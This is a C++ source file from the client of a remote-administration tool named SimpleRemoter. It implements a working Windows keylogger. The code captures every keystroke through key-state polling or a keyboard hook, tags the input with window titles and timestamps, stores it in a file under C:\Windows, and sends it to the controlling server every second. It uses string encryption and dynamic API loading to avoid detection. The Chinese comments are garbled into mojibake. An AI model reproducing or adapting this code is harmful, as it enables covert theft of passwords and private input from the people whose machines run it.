SimpleRemoter/client/KeyboardManager.cpp

// KeyboardManager.cpp: implementation of the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////

#include "Common.h"
#include "KeyboardManager.h"
#include <tchar.h>

#if ENABLE_KEYBOARD

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

#include <iostream>
#include <winbase.h>
#include <winuser.h>
#include "keylogger.h"
#include <iniFile.h>

#define CAPTION_SIZE 1024

CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
{
    m_bIsOfflineRecord = offline;

    char path[MAX_PATH] = { "C:\\Windows\\" };
	GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
    strcpy_s(m_strRecordFile, path);
    m_Buffer = new CircularBuffer(m_strRecordFile);

    m_bIsWorking = true;

    m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
    m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
    SetReady(TRUE);
}

CKeyboardManager1::~CKeyboardManager1()
{
    m_bIsWorking = false;
    WaitForSingleObject(m_hWorkThread, INFINITE);
    WaitForSingleObject(m_hSendThread, INFINITE);
    CloseHandle(m_hWorkThread);
    CloseHandle(m_hSendThread);
    m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
    delete m_Buffer;
}

void CKeyboardManager1::Notify() {
    if (NULL == this)
        return;
    sendStartKeyBoard();
    WaitForDialogOpen();
}

void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
{
    if (lpBuffer[0] == COMMAND_NEXT)
        NotifyDialogIsOpen();

    if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
        m_bIsOfflineRecord = lpBuffer[1];
        iniFile cfg(CLIENT_PATH);
        cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
    }

    if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
        m_Buffer->Clear();
        GET_PROCESS_EASY(DeleteFileA);
        DeleteFileA(m_strRecordFile);
    }
}

int CKeyboardManager1::sendStartKeyBoard()
{
    BYTE	bToken[2];
    bToken[0] = TOKEN_KEYBOARD_START;
    bToken[1] = (BYTE)m_bIsOfflineRecord;

    return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken));
}


int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
{
    int nRet = -1;
    DWORD	dwBytesLength = 1 + nSize;
    GET_PROCESS(DLLS[KERNEL], LocalAlloc);
    LPBYTE	lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);

    lpBuffer[0] = TOKEN_KEYBOARD_DATA;
    memcpy(lpBuffer + 1, lpData, nSize);

    nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
    GET_PROCESS(DLLS[KERNEL], LocalFree);
    LocalFree(lpBuffer);

    return nRet;
}

std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
{
    GET_PROCESS(DLLS[USER32], GetKeyState);
    std::string KeyString = "";
    //<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
    const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
    int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
    bool IS=(iShift & KeyPressMask)==KeyPressMask; //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Shift<66><74>
    if(Key >=186 && Key <=222) {
        switch(Key) {
        case 186:
            if(IS)
                KeyString = skCrypt(":");
            else
                KeyString = skCrypt(";");
            break;
        case 187:
            if(IS)
                KeyString = skCrypt("+");
            else
                KeyString = skCrypt("=");
            break;
        case 188:
            if(IS)
                KeyString = skCrypt("<");
            else
                KeyString = skCrypt(",");
            break;
        case 189:
            if(IS)
                KeyString = skCrypt("_");
            else
                KeyString = skCrypt("-");
            break;
        case 190:
            if(IS)
                KeyString = skCrypt(">");
            else
                KeyString = skCrypt(".");
            break;
        case 191:
            if(IS)
                KeyString = skCrypt("?");
            else
                KeyString = skCrypt("/");
            break;
        case 192:
            if(IS)
                KeyString = skCrypt("~");
            else
                KeyString = skCrypt("`");
            break;
        case 219:
            if(IS)
                KeyString = skCrypt("{");
            else
                KeyString = skCrypt("[");
            break;
        case 220:
            if(IS)
                KeyString = skCrypt("|");
            else
                KeyString = skCrypt("\\");
            break;
        case 221:
            if(IS)
                KeyString = skCrypt("}");
            else
                KeyString = skCrypt("]");
            break;
        case 222:
            if(IS)
                KeyString = '"';
            else
                KeyString = skCrypt("'");
            break;
        }
    }
    //<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
    if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
        KeyString = skCrypt("[Esc]");
    else if (Key == VK_F1) // F1<46><31>F12
        KeyString = skCrypt("[F1]");
    else if (Key == VK_F2)
        KeyString = skCrypt("[F2]");
    else if (Key == VK_F3)
        KeyString = skCrypt("[F3]");
    else if (Key == VK_F4)
        KeyString = skCrypt("[F4]");
    else if (Key == VK_F5)
        KeyString = skCrypt("[F5]");
    else if (Key == VK_F6)
        KeyString = skCrypt("[F6]");
    else if (Key == VK_F7)
        KeyString = skCrypt("[F7]");
    else if (Key == VK_F8)
        KeyString = skCrypt("[F8]");
    else if (Key == VK_F9)
        KeyString = skCrypt("[F9]");
    else if (Key == VK_F10)
        KeyString = skCrypt("[F10]");
    else if (Key == VK_F11)
        KeyString = skCrypt("[F11]");
    else if (Key == VK_F12)
        KeyString = skCrypt("[F12]");
    else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
        KeyString = skCrypt("[PrScrn]");
    else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
        KeyString = skCrypt("[Scroll Lock]");
    else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
        KeyString = skCrypt("[Pause]");
    else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
        KeyString = skCrypt("[Caps Lock]");

    //-------------------------------------//
    //<2F><><EFBFBD>Ƽ<EFBFBD>
    else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
        KeyString = skCrypt("[Backspace]");
    else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
        KeyString = skCrypt("[Enter]\n");
    else if (Key == VK_SPACE) // <20>ո<EFBFBD>
        KeyString = skCrypt(" ");
    //<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD>򣬿<EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
    //<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
    /*
    else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
    KeyString = skCrypt("[Shift]");
    else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
    KeyString = skCrypt("[SHIFT]");
    */
    /*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
    else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
        KeyString = skCrypt("[Tab]");
    else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
        KeyString = skCrypt("[Ctrl]");
    else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
        KeyString = skCrypt("[CTRL]");
    else if (Key == VK_LMENU) // <20>󻻵<EFBFBD><F3BBBBB5><EFBFBD>
        KeyString = skCrypt("[Alt]");
    else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
        KeyString = skCrypt("[ALT]");
    else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
        KeyString = skCrypt("[Win]");
    else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
        KeyString = skCrypt("[WIN]");
    else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
        KeyString = skCrypt("<EFBFBD>Ҽ<EFBFBD>");
    else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
        KeyString = skCrypt("[Insert]");
    else if (Key == VK_DELETE) // ɾ<><C9BE>
        KeyString = skCrypt("[Delete]");
    else if (Key == VK_HOME) // <20><>ʼ
        KeyString = skCrypt("[Home]");
    else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
        KeyString = skCrypt("[End]");
    else if (Key == VK_PRIOR) // <20><>һҳ
        KeyString = skCrypt("[PgUp]");
    else if (Key == VK_NEXT) // <20><>һҳ
        KeyString = skCrypt("[PgDown]");
    // <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
    else if (Key == VK_CANCEL) // Cancel
        KeyString = skCrypt("[Cancel]");
    else if (Key == VK_CLEAR) // Clear
        KeyString = skCrypt("[Clear]");
    else if (Key == VK_SELECT) //Select
        KeyString = skCrypt("[Select]");
    else if (Key == VK_PRINT) //Print
        KeyString = skCrypt("[Print]");
    else if (Key == VK_EXECUTE) //Execute
        KeyString = skCrypt("[Execute]");

    //----------------------------------------//
    else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
        KeyString = skCrypt("[<5B><>]");
    else if (Key == VK_RIGHT)
        KeyString = skCrypt("[<5B><>]");
    else if (Key == VK_UP)
        KeyString = skCrypt("[<5B><>]");
    else if (Key == VK_DOWN)
        KeyString = skCrypt("[<5B><>]");
    else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
        KeyString = skCrypt("[NumLock]");
    else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
        KeyString = skCrypt("+");
    else if (Key == VK_SUBTRACT)
        KeyString = skCrypt("-");
    else if (Key == VK_MULTIPLY)
        KeyString = skCrypt("*");
    else if (Key == VK_DIVIDE)
        KeyString = skCrypt("/");
    else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
        KeyString = skCrypt(".");
    //С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
    else if (Key == VK_NUMPAD0)
        KeyString = skCrypt("0");
    else if (Key == VK_NUMPAD1)
        KeyString = skCrypt("1");
    else if (Key == VK_NUMPAD2)
        KeyString = skCrypt("2");
    else if (Key == VK_NUMPAD3)
        KeyString = skCrypt("3");
    else if (Key == VK_NUMPAD4)
        KeyString = skCrypt("4");
    else if (Key == VK_NUMPAD5)
        KeyString = skCrypt("5");
    else if (Key == VK_NUMPAD6)
        KeyString = skCrypt("6");
    else if (Key == VK_NUMPAD7)
        KeyString = skCrypt("7");
    else if (Key == VK_NUMPAD8)
        KeyString = skCrypt("8");
    else if (Key == VK_NUMPAD9)
        KeyString = skCrypt("9");
    //-------------------------------------------//

    //-------------------------------------------//
    //*<2A><><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<D0A1><D0B4><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
    else if (Key >=97 && Key <= 122) { // <20><>ĸ:a-z
        if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
            if(IS) //Shift<66><74><EFBFBD><EFBFBD>:ΪСд<D0A1><D0B4>ĸ
                KeyString = Key;
            else // ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
                KeyString = Key - 32;
        } else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
            if(IS) // <20><><EFBFBD><EFBFBD>Shift<66><74>: <20><>д<EFBFBD><D0B4>ĸ
                KeyString = Key - 32;
            else // û<>а<EFBFBD>Shift<66><74>: Сд<D0A1><D0B4>ĸ
                KeyString = Key;
        }
    } else if (Key >=48 && Key <= 57) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
        if(IS) {
            switch(Key) {
            case 48: //0
                KeyString = skCrypt(")");
                break;
            case 49://1
                KeyString = skCrypt("!");
                break;
            case 50://2
                KeyString = skCrypt("@");
                break;
            case 51://3
                KeyString = skCrypt("#");
                break;
            case 52://4
                KeyString = skCrypt("$");
                break;
            case 53://5
                KeyString = skCrypt("%");
                break;
            case 54://6
                KeyString = skCrypt("^");
                break;
            case 55://7
                KeyString = skCrypt("&");
                break;
            case 56://8
                KeyString = skCrypt("*");
                break;
            case 57://9
                KeyString = skCrypt("(");
                break;
            }
        } else
            KeyString = Key;
    }
    if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
        if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
            if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
                if(IS) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><D2B0><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
                    KeyString = Key + 32;
                else //ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
                    KeyString = Key;
            } else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
                if(IS) {
                    KeyString = Key;
                } else {
                    Key = Key + 32;
                    KeyString = Key;
                }
            }
        }
    }

    return KeyString;
}

BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
{
    GET_PROCESS(DLLS[USER32], GetForegroundWindow);
    HWND hFocus = (HWND)GetForegroundWindow();
    BOOL ReturnFlag = FALSE;
    if (hFocus != PreviousFocus) {
        if (lstrlen(WindowCaption) > 0) {
            if (hasData) {
                SYSTEMTIME   s;
                GetLocalTime(&s);
                sprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d  %02d:%02d:%02d\r\n"),
                    WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
            }
            memset(WindowCaption, 0, CAPTION_SIZE);
            ReturnFlag=TRUE;
        }
        PreviousFocus = hFocus;
        GET_PROCESS_EASY(SendMessageA);
        SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
    }
    return ReturnFlag;
}

DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
{
    CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;

    int pos = 0;
    while(pThis->m_bIsWorking) {
        if (!pThis->IsConnected()) {
            pos = 0;
            Sleep(1000);
            continue;
        }
        int size = 0;
        char* lpBuffer = pThis->m_Buffer->Read(pos, size);
        if (size) {
            int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size);
            delete[] lpBuffer;
        }
        Sleep(1000);
    }
    return 0;
}


int CALLBACK WriteBuffer(const char* record, void* user) {
    CircularBuffer* m_Buffer = (CircularBuffer*)user;
    m_Buffer->Write(record, strlen(record));
	return 0;
}


DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
{
    CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
    MSG msg;
    TCHAR KeyBuffer[2048] = {};
	TCHAR szText[CAPTION_SIZE] = {};
    TCHAR WindowCaption[CAPTION_SIZE] = {};
    HWND PreviousFocus = NULL;
    GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
    while(pThis->m_bIsWorking) {
		if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
#if USING_KB_HOOK
            ReleaseHook();
#endif
			Sleep(1000);
			continue;
		}
        Sleep(5);
#if USING_KB_HOOK
		if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
			return -1;
		}
		while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else
        int num = lstrlen(KeyBuffer);
        if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
            bool newWindowInput = strlen(szText);
            if (newWindowInput){// <20><><EFBFBD>µĴ<C2B5><C4B4><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
                lstrcat(KeyBuffer, szText);
                memset(szText, 0, sizeof(szText));
            }
            if (lstrlen(KeyBuffer) > 0) {
                if (!newWindowInput)
                    lstrcat(KeyBuffer, _T("\r\n"));
                const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
                memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
                memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
                pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
                memset(KeyBuffer,0,sizeof(KeyBuffer));
            }
        }
        for(int i = 8; i <= 255; i++) {
            if((GetAsyncKeyState(i)&1) == 1) {
                std::string TempString = GetKey (i);
                lstrcat(KeyBuffer,TempString.c_str());
            }
        }
#endif
    }
    return 0;
}

#endif